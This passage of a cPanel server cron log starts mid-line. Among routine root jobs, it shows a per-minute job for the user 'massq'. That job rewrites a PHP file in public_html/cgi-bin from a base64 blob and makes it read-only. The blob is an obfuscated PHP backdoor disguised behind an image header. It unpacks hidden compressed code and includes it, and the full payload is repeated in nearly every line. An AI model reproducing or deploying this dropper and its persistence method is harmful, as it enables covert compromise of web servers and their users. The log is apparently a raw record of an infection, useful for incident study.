Xyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:38:01 server CROND[22219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:39:01 server CROND[22277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:39:01 server CROND[22278]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 15:40:01 server CROND[22347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:40:01 server CROND[22348]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 15:40:01 server CROND[22349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:40:01 server CROND[22350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:41:01 server CROND[22465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:42:01 server CROND[22529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:42:01 server CROND[22530]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 15:43:01 server CROND[22587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:44:01 server CROND[22749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:45:01 server CROND[22819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:45:01 server CROND[22820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:45:01 server CROND[22821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:46:01 server CROND[22948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:47:01 server CROND[23012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:48:01 server CROND[23074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:49:01 server CROND[23137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:50:01 server CROND[23290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 15:50:01 server CROND[23292]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:50:01 server CROND[23293]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:50:01 server CROND[23295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:50:01 server CROND[23296]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
